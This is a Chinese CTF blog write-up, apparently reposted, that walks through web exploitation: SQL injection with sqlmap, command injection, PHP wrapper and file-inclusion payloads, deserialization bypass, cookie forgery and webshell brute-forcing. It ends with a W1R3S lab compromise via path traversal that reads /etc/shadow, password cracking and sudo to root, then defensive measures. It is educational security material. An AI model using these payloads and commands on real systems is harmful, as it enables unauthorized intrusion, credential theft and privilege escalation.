基于CTF探讨Web漏洞的利用与防范

写在前面

Copyright © [2023] [Myon⁶]. All rights reserved.

基于自己之前在CTF中Web方向的学习,总结出与Web相关的漏洞利用方法,主要包括:密码爆破、文件上传、SQL注入、PHP伪协议、反序列化漏洞、命令执行漏洞、文件包含漏洞、Vim文件泄露、HTTP协议、Cookie伪造、Git源码泄露,并就此总结出相关的防御应对措施。

原本是在W1R3S上进行了包括:信息收集、FTP渗透、Web渗透、John爆破、ssh远程登录、sudo提权等相关的渗透测试,但是考虑到内容太多,这里我主要总结从web渗透开始以及后续的测试,实质就是一个文件包含漏洞的利用。

本人CSDN博客地址:http://myon6.blog.csdn.net

期待大家的关注与支持!

目录

一、基本原理概述

1、Web漏洞利用

(1)SQL注入

(2)Git泄露与命令执行漏洞

(3)文件上传

(4)PHP伪协议与文件包含漏洞

(5)密码爆破

(6)Cookie伪造

(7)反序列化漏洞

(8)Vim文件泄露

(9)HTTP协议

2、基于W1R3S的渗透测试

(1)信息收集

(2)FTP渗透

(3)Web渗透

(4)John爆破

(5)ssh远程登录

(6)sudo提权

二、详细过程

1、Web漏洞利用

(1)SQL注入

(2)Git泄露与命令执行漏洞

(3)文件上传

(4)PHP伪协议与文件包含漏洞

(5)密码爆破

(6)Cookie伪造

(7)反序列化漏洞

(8)Vim文件泄露

(9)HTTP协议

2、基于W1R3S的Web渗透测试

三、结果分析

1、SQL注入

2、Git泄露与命令执行漏洞

3、文件上传

4、PHP伪协议与文件包含漏洞

5、密码爆破

6、Cookie伪造

7、反序列化漏洞

8、Vim文件泄露

9、HTTP协议

10、基于W1R3S的Web渗透测试

四、总结体会与防御措施


背景介绍

随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。这也使得越来越多的用户关注应用层的安全问题,对Web应用安全的关注度也逐渐升温。

一、基本原理概述

1、Web漏洞利用

(1)SQL注入

SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一,我们可以通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码。

(2)Git泄露与命令执行漏洞

开发人员使用 git 进行版本控制,如果配置不当,会将 .git 文件夹直接部署到线上环境,引起git 泄露漏洞,我们可以通过 .git文件恢复网站源码,来获取一些敏感信息。

(3)文件上传

由于web的过滤不够严格,导致在上传的位置上,用户可以上传一些带有脚本的文件,web端对脚本文件进行php解析,可以任意执行脚本文件。

(4)PHP伪协议与文件包含漏洞

PHP伪协议是PHP支持的协议与封装协议,我们可以使用它实现文件读取,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

(5)密码爆破

密码爆破又叫暴力猜解,简单来说就是将密码逐个尝试, 直到找出真正的密码为止, 本质上是利用了穷举法。

(6)Cookie伪造

一个脆弱的站点或者web应用可能把存储敏感状态信息直接在cookies,在浏览器手动改cookie的名称和值再刷新页面可能足以获得提升的权限。

(7)反序列化漏洞

PHP反序列化漏洞也叫PHP对象注入,形成的原因是程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、文件操作、执行数据库操作等参数不可控。

(8)Vim文件泄露

当开发人员在线上环境中使用vim编辑器,在使用过程中会留下vim编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。

(9)HTTP协议

HTTP协议(超文本传输协议HyperText Transfer Protocol),它是基于TCP协议的应用层传输协议,简单来说就是客户端和服务端进行数据传输的一种规则。

2、基于W1R3S的渗透测试

w1r3s是一台存在着很多漏洞的靶机,可为我们提供相关的漏洞进行渗透测试。

(1)信息收集

信息收集就像一场战争中的“深入敌后”的一项“情报收集”任务。在开始渗透测试工作之前,我们通过要对目标使用各种工具进行信息收集工作,找出目标的漏洞和弱点,然后利用这些漏洞和弱点进行攻击,使得渗透任务得以顺利地完成。

(2)FTP渗透

FTP全名File Transfer Protocol,一种可以通过网络传输文件的协议,FTP协议是不安全的,不支持加密传输,它使用客户端到服务器这种类型,客户端启动后尝试对服务器发起连接请求,然后提供登录凭证,如果正确则开启会话。

(3)Web渗透

通过模拟恶意黑客的攻击方法,来评估Web站点安全的一种评估方法。常见的Web漏洞通常包括:输入输出验证不充分、设计缺陷、环境缺陷、sql注入、xss、csrf、目录穿越、文件上传、代码注入、命令注入、信息泄漏、暴力破解、越权漏洞、非授权对象引用、业务逻辑缺陷、框架漏洞、基础环境漏洞。

(4)John爆破

破解密码方式简单而粗暴,理论上只要时间上面允许,可以破译绝大多数用户密码,支持多种不同类型的系统架构,主要目的是破解不够牢固的Unix/Linux系统密码。

(5)ssh远程登录

SSH(Secure Shell )是一种安全通道协议,主要用来实现字符界面的远程的登录、远程复制等功能,SSH协议对通信双方的数据传输进行了加密处理,其中包括用户登录时输入的用户口令,因此SSH协议具有很好的安全性。

(6)sudo提权

是一种 Linux 命令,用于提升用户权限以执行特权操作,在执行sudo命令时,将普通用户的权限提升为root用户的权限,以便执行需要root权限的操作。

二、详细过程

1、Web漏洞利用

(1)SQL注入

这里我主要以sqlmap来演示,当然手工注入也是可以的。

(1)尝试列出所以数据库:

sqlmap -u "http://61.147.171.105:54285/?id=1" --dbs

(2)可以看到有一个名为cyber的数据库,我们指定列出它的表

sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber –tables

(3)这个数据库里只有一个表,且和数据库同名,我们继续列出指定表的字段

sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber --columns

(4)尝试获取指定字段中的数据

sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber -C pw --dump

(2)Git泄露与命令执行漏洞

(1)在About里发现网站是使用Git、PHP、Bootstrap搭建的

使用dirsearch扫一下

(2)从结果可以看出确实存在.git 目录,我们这里使用Githack来下载并恢复.git文件,切换到Githack所在位置,执行命令:python Githack.py url

(3)进入下载文件所在目录查看

打开flag.php,但是并没有看到什么

在index.php里发现有用代码

(4)代码审计

使用get请求方式给page传参,如果没传,默认page=home 

(这也是为什么我们打开题目链接进去是在home页面)

$file会接收传入的$page并且在其前面拼接templates/,在其后面拼接.php

strpos() 函数会在'$file'这个字符串中进行查找,是否存在'..'

当字符串里有'..',则会返回一个数(即'..'第一次出现的位置),结果为true

与右边的false并不恒等,此时就会执行or右边的die()函数,输出 Detected hacking attempt!

file_exists() 函数还会检查我们传入的page拼接后是否存在

(5)构造payload

这里实际上是一个命令执行漏洞

我们可以直接在第一个assert()函数处就调用cat命令来获取flag

首先传入的page肯定不能有 '..',使strpos() 函数返回false,false和右边的false恒等

构造payload:?page=123') or system("cat templates/flag.php");//

在最后添加注释//,确保后面的代码不会执行

(3)文件上传

(1)在源码中找到默认登录账户和密码

(2)登陆成功后上传一句话木马

(3)这里没有任何的绕过,直接上蚁剑尝试连接

(4)PHP伪协议与文件包含漏洞

(1)打开题目链接,代码审计

file2被放入了file_get_contents() 函数,且要求返回值为 hello ctf

file1是要包含的文件,且flag应该是在文件flag.php里面

我们要想办法来读取这个文件,使用php://filter伪协议来读取源代码

即 file1=php://filter/read=convert.base64-encode/resource=flag.php

这里出现了file_get_contents()函数,想到用php://input来绕过

(2)构造payload

/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input,且post传入 hello ctf

(3)得到一串base64编码

PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXtjMjNkY2VlOWYxZTc0NTRlNzVlMTA5OGJlMmZhM2IzOH0=,解码即可得到PHP源码。

(5)密码爆破

(1)根据题目描述我们先试用御剑扫一下,发现存在shell后门,

(2)访问shell.ph,需要连接密码

(3)这里直接使用bp来爆破密码

抓包后发到Intruder 模块,并设置爆破的位置和用来爆破的字典

(4)开始攻击

爆破过程中,我们按长度排序,长度不一样的就是密码

至此,我们爆破出了密码是 hack

(6)Cookie伪造

题目要求只有管理员才能拿到flag

(1)在cookie里找到了一些东西

(2)通过查看发现web构架发现为flask,想到session伪造

(3)将cookie值进行base64解码

输出是json格式存储,还有一堆乱码,应该就是数据签名。

(4)使用Python脚本进行session伪造

根据前面base64解码得到session(json)格式,我们将name伪造为admin,并对session数据进行加密。

(5)将伪造的cookie传给session即可

(7)反序列化漏洞

(1)代码审计

这里出现了一个__wakeup()函数,在进行PHP反序列化时,会先调用这个函数,但是如果序列化字符串中表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。

(2)脚本编写

<?php

class xctf{

public $flag = '111';

public function __wakeup(){

exit('bad requests');

}

}

$Myon = new xctf();

$Myon = serialize($Myon);

echo $Myon;

?>

(3)构造payload

上面输出的是O:4:"xctf":1:{s:4:"flag";s:3:"111";}

可以看到__wakeup()函数起作用了,我们需要将xctf的参值改为2(任何大于1的数),由于与反序列化规则不符,就会反序列化失败,从而绕过__wakeup()函数。

(8)Vim文件泄露

(1)访问.index.php.swp将文件下载下来,发到centos里

(2)使用vim -r index.php.swp恢复文件

(3)代码审计

给password传入"Give_Me_Your_Flag"且要先经过base64编码

就会输出Oh You got my password!并且调用system函数执行传入的cmd命令

(4)将字符串base64编码

(5) 构造payload

postpassword=R2l2ZV9NZV9Zb3VyX0ZsYWc=&&cmd=cat /flag

(9)HTTP协议

使用bp抓包改包重发

(1)请求头写 x-forwarded-for: 127.0.0.1

换一种 client-ip: 127.0.0.1

(2)请求头写 referer: pornhub.com

(3)请求头写 user-agent: Chrome

(4)请求头写 via: Clash.win

拿到一个路径

2、基于W1R3S的Web渗透测试

(1)直接访问目标ip地址

查看靶机80端口的web服务,发现是个apache的主页

(2)使用dirsearch对目标主机80端口的web服务进行目录爆破

dirsearch -u 192.168.88.131

爆出两个可疑目录/administrator和/wordpress

(wordpress这个框架存在很多漏洞)

(3)使用whatweb命令查询,发现该网站的cms为Cuppa

(4)使用searchsploit命令查询Cuppa cms是否存在漏洞

searchsploit cuppa cms

(5)发现存在一处漏洞, 漏洞详情保存在25971.txt中, 将它导出来

searchsploit cuppa cms -m 25971.txt

(6)查看漏洞详情得知, 该cms可通过文件包含漏洞读取任意文件

(7)使用curl命令提交Post请求:

curl -X POST -d urlConfig=../../../../../../../../../etc/passwd http://192.168.88.131/administrator/alerts/alertConfigField.php

用同样的方法尝试读取shadow文件,该文件是用来存放用户名密码的

curl -X POST -d urlConfig=../../../../../../../../../etc/shadow http://192.168.88.131/administrator/alerts/alertConfigField.php

发现两处很明显的用户信息

分别对应着www-data用户:加密密码,w1r3s用户:加密密码

(8)使用john爆破

破解成功,得到:

用户 www-data  密码 www-data

用户 w1r3s  密码 computer

(9)ssh远程登录

远程登录成功

whoami  查看一下当前用户是谁

uname -a   查看系统状态

sudo -l   查看当前用户权限

可以看到当前用户具有所有权限

(10)sudo提权

因为w1r3s这个用户具有全权限,这里可以直接提权至root用户

sudo su 

提权成功

切换到root根目录,直接找到flag

三、结果分析

1、SQL注入

拿到flag cyberpeace{818e277716501adc71a98b501c4d7a99}

总结一些sqlmap常用的参数:

-D 选择使用哪个数据库    -T 选择使用哪个表    -C 选择使用哪个列

--tables 列出当前的表  --columns 列出当前的列 --dump 获取字段中的数据

2、Git泄露与命令执行漏洞

传入page后查看源码,找到flag

cyberpeace{1f150d17210f2080d18800a5a99e9f9b}

3、文件上传

连接成功,并且在根目录下面找到

flag=NSSCTF{96cd0bd4-f5e6-4fbf-8b09-c38f244d4aa6}

4、PHP伪协议与文件包含漏洞

Base64解码后得到PHP源码

拿到 $flag = cyberpeace{c23dcee9f1e7454e75e1098be2fa3b38}

存在文件包含时使用PHP伪协议,可能遇到的文件包含函数:

1、include 2、require 3、include_once 4、require_once 5、highlight_file

6、show_source 7、flie 8、readfile 9、file_get_contents

10、file_put_contents 11、fopen

5、密码爆破

将密码修改成正确的密码后放包

查看页面响应,已经显示出flag

flag{0bd17d36fcc7c9771191be6e558833ec}

6、Cookie伪造

将伪造的cookie传给session后,便可使用伪造的admin身份拿到flag

NSSCTF{df845e3b-f834-405e-9a49-3f847c5341fe}

关于session的作用:

由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。

7、反序列化漏洞

我们正确的payload为:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

传入后即可拿到flag

在php中与序列化相关的函数为:

serialize()  序列化  // 将一个类的实例(对象)序列化为字符串

unserialize() 反序列化  // 将已序列化的变量(字符串)变回原来 PHP的值

8、Vim文件泄露

Post传参后拿到flag

NSSCTF{b8776bdb-b398-4544-b006-72ee55c5a531}

使用 vim -r 来查看当前目录下的所有swp文件;也可以使用 vim -r filename 来恢复文件,这样上次意外退出没有保存的修改就会覆盖文件。

9、HTTP协议

访问拿到的路径

在源码里找到另一个路径,继续访问,拿到flag

NSSCTF{d295698b-50ae-47ed-8393-2463797931d3}

10、基于W1R3S的Web渗透测试

前期我们是需要先进行信息收集,确定靶机IP,以及对靶机进行端口扫描,确定开放的端口和服务,探测出可能存在的漏洞,这对我们进行后续的渗透具有极其重要的作用。

从最初不知道登录密码

到最后彻底拿下整台靶机

四、总结体会与防御措施

从上面的Web漏洞利用中我们可以看到:Web安全漏洞的危害之大,而且无处不在,只要稍不注意就有可能导致个人信息的泄露。在Internet大众化及Web技术飞速演变的今天,在线安全所面临的挑战日益严峻,伴随着在线信息和服务的可用性的提升,以及基于Web的攻击和破坏的增长,安全风险达到了前所未有的高度。上面的CTF赛题大多其取材于真实环境渗透,只说一句话:开发和安全缺一不可!

1、针对注入漏洞,我们通常可以通过适当、及时地检查与清理用户的输入,来防范此类威胁,严格限制web应用的数据库的操作权限,给用户提供仅能满足需求的最低权限,从而最大限度的减少注入攻击对数据库的危害。

2、针对身份验证相关的漏洞,我们可以通过实施健全的会话管理控制、多因素身份验证、限制和监视失败的登录尝试,避免使用默认密码,进行弱密码检查,使用服务端,安全,内置的会话管理,确保对于每次登录生成随机会话ID,会话ID不应该在URL中,且应该及时销毁。

3、针对敏感数据泄漏,我们可以对系统处理、存储或传输的数据分类,并根据分类进行访问控制,对于没必要存放的、重要的敏感数据,应当尽快清除,或者通过PCI DSS标记或拦截。未存储的数据不能被窃取。

4、针对受损的访问控制带来的未经授权的信息泄露、数据被直接修改或破坏,我们可以通对前后端同时对用户输入信息进行校验,双重验证机制,执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限。

5、针对不安全的反序列化漏洞,我们需要对任何序列化对象进行完整性检测,比如数字签名以防止数据篡改或恶意对象,限制或监管入的和出的来自反序列化的容器或服务器的网络链接。

6、针对任意文件上传和读取下载,我们通过设置白名单,即只能下载/访问某个目录下的文件,权限给到最低,正则严格判断用户输入参数的格式,php.ini配置open_basedir限定文件访问范围。

注:Copyright © [2023] [Myon⁶]. All rights reserved.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/236416.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

华为鸿蒙操作系统简介及系统架构分析(1)

本文部分内容参考&#xff1a; 鸿蒙系统学习笔记(一) 鸿蒙系统介绍 特此致谢。 一、简介及历史 1. 简介 鸿蒙操作系统&#xff08;HarmonyOS&#xff09;是华为公司研制的一款自主版权的操作系统。2019年8月9日&#xff0c;鸿蒙系统在华为开发者大会<HDC.2019>上正式…

一段音频怎么做二维码?扫码播放音乐怎么做?

音频二维码主要是用来将一段音乐或者其他音频文件&#xff0c;以便用户可以通过扫码的方式来播放音频文件。那么音频二维码制作分几个步骤来完成&#xff0c;肯定有很多小伙伴非常的感兴趣&#xff0c;本篇文章就来给大家分享一下在线生成二维码的制作方法&#xff0c;在电脑的…

声音.wav文件的读取与保存

声音.wav文件的读取与保存-示例代码&#xff1a; import librosa import librosa.display import numpy as np from scipy.io.wavfile import writedef split_wav():# 读取音频文件audio_data, sample_rate librosa.load(input_file, srNone) # sr不指定为None&#xff0c;就…

Ubuntu 常用命令之 gunzip 命令用法介绍

&#x1f4d1;Linux/Ubuntu 常用命令归类整理 gunzip是一个在Ubuntu系统下用于解压缩文件的命令。它主要用于解压.gz格式的文件。这个命令是gzip命令的反向操作&#xff0c;gzip用于压缩文件&#xff0c;而gunzip则用于解压缩文件。 gunzip命令的参数有 -c 或 --stdout 或 -…

算法专题三:二分算法

二分法 零.二分查找1.思路一&#xff1a;朴素二分 一.在排序数组中第一个和最后一个数&#xff1a;1.思路一&#xff1a;GIF题目解析 二.算法X的平方根&#xff1a;1.思路一&#xff1a;暴力哈希2.思路二&#xff1a;二分区间GIF题目解析 三.搜索插入位置&#xff1a;1.思路一&…

中国防风固沙量数据

中国防风固沙量数据 防风固沙是生态系统&#xff08;如森林、草地等&#xff09;通过其结构与过程减少由于风蚀所导致的土壤侵蚀的作用&#xff0c;是生态系统提供的重要调节服务之一。防风固沙功能主要与风速、降雨、温度、土壤、地形和植被等因素密切相关。以防风固沙量&…

21 Vue3中使用v-for遍历对象数组

概述 使用v-for遍历对象数组在真实的开发中也属于非常常见的用法&#xff0c;需要重点掌握。 因为目前流行的是前后端分离开发&#xff0c;在前后端分离开发中&#xff0c;最常需要处理的就是对象数组类型的数据了。 比如&#xff0c;将员工信息渲染到表格中。 这节课我们就…

3d max高质量渲染时,硬件的要求有什么?

渲染过程中&#xff0c;想要追求&#xff0c;效果图高质量渲染&#xff0c;高效率渲染的过程中&#xff0c;3d max高清渲染不只是三维软件的一个要求&#xff0c;对于本地计算机的硬件要求配置也是很重要的。 今天&#xff0c;小编带大家来聊聊3d max高质量渲染过程中&#xff…

solidity 重入漏洞

目录 1. 重入漏洞的原理 2. 重入漏洞的场景 2.1 msg.sender.call 转账 2.2 修饰器中调用地址可控的函数 1. 重入漏洞的原理 重入漏洞产生的条件&#xff1a; 合约之间可以进行相互间的外部调用 恶意合约 B 调用了合约 A 中的 public funcA 函数&#xff0c;在函数 funcA…

使用 Node.js 删除文件 - 完整步骤教程

引言 在 Node.js 中处理文件尤其是移除文件&#xff0c;对于维护高效应用程序至关重要。储存和秩序当道的今天&#xff0c;删除不必要或冗余的文件能力显得尤为关键。本文深入探讨你会想要使用这个强大功能的时刻和原因&#xff0c;并通过各种案例展示了这个概念&#xff0c;同…

【C#】.net core 6.0 通过依赖注入注册和使用上下文服务

给自己一个目标&#xff0c;然后坚持一段时间&#xff0c;总会有收获和感悟&#xff01; 请求上下文是指在 Web 应用程序中处理请求时&#xff0c;包含有关当前请求的各种信息的对象。这些信息包括请求的头部、身体、查询字符串、路由数据、用户身份验证信息以及其他与请求相关…

案例系列:营销模型_客户细分_无监督聚类

案例系列&#xff1a;营销模型_客户细分_无监督聚类 import numpy as np # 线性代数库 import pandas as pd # 数据处理库&#xff0c;CSV文件的输入输出&#xff08;例如pd.read_csv&#xff09;/kaggle/input/customer-personality-analysis/marketing_campaign.csv在这个项…

KoPA: Making Large Language Models Perform Better in Knowledge Graph Completion

本来这个论文用来组会讲的&#xff0c;但是冲突了&#xff0c;没怎么讲&#xff0c;记录一下供以后学习。 创新点 按照我的理解简单概述一下这篇论文的创新点 提出使用大模型补全知识图谱&#xff0c;并且融合知识图谱的结构信息提出一个新的模型KoPA模型&#xff0c;采用少…

JavaCV音视频开发宝典:UDP局域网组播推流,多播推流,局域网多网段推流,使用UDP方式推送TS组播流,实现UDP一对多组播

《JavaCV音视频开发宝典》专栏目录导航 《JavaCV音视频开发宝典》专栏介绍和目录 ​ 前言 在之前文章中我们已经实现rtp点到点传输JavaCV音视频开发宝典:rtp点到点音视频传输(一对一音视频直播)和rtp广播JavaCV音视频开发宝典:rtp广播方式发送TS流音视频传输(一对多音视…

Linux宝塔面板本地部署Discuz论坛发布到公网访问【无需公网IP】

文章目录 前言1.安装基础环境2.一键部署Discuz3.安装cpolar工具4.配置域名访问Discuz5.固定域名公网地址6.配置Discuz论坛 前言 Crossday Discuz! Board&#xff08;以下简称 Discuz!&#xff09;是一套通用的社区论坛软件系统&#xff0c;用户可以在不需要任何编程的基础上&a…

uni-app学习记录

uni-app官网学习记录 uni-app注意点记录 页面跳转注意事项 navigateTo, redirectTo 只能打开非 tabBar 页面。switchTab 只能打开 tabBar 页面。reLaunch 可以打开任意页面。不能在首页 onReady 之前进行页面跳转。 页面通讯 // 发起页面uni.$emit(update,{msg:页面更新})//…

软件设计模式:六大设计原则

文章目录 前言一、开闭原则二、里氏替换原则三、依赖倒转原则四、接口隔离五、迪米特法则六、合成复用原则总结 前言 在软件开发中&#xff0c;为了提高软件系统的可维护性和可复用性&#xff0c;增加软件的可扩展性和灵活性&#xff0c;程序员要尽量根据6条原则来开发程序&am…

Postman调用HTTPS需要配置

1、配置—Settings 2、General—SSL cert…&#xff1a;改成OFF 3、添加请求IP 欢迎大家阅读&#xff0c;本人见识有限&#xff0c;写的博客难免有错误或者疏忽的地方&#xff0c;还望各位大佬指点&#xff0c;在此表示感谢。觉得本文章有帮助到的&#xff0c;点个赞呗

项目进度管理:掌握进度管理技巧,保障项目不延期

项目进度问题通常在小型团队中并不显著&#xff0c;因为这类团队通常人数较少&#xff0c;成员间的沟通成本相对较低。这使得他们在执行项目时更加团结和协作。 然而&#xff0c;当团队规模扩大到上百人时&#xff0c;这使得沟通变得更为复杂&#xff0c;在这个庞大的团队中&…

JAVA线上事故:递归导致的OOM

最近因为人员离职&#xff0c;接手一个项目&#xff0c;是xxljob的客户端&#xff0c;部署在k8s上&#xff0c;在排查线上工单时&#xff0c;发现了一个问题&#xff1a; 在管理界面上&#xff0c;我惊讶的发现&#xff0c;三个月的时间&#xff0c;2个Pod&#xff0c;每个都重…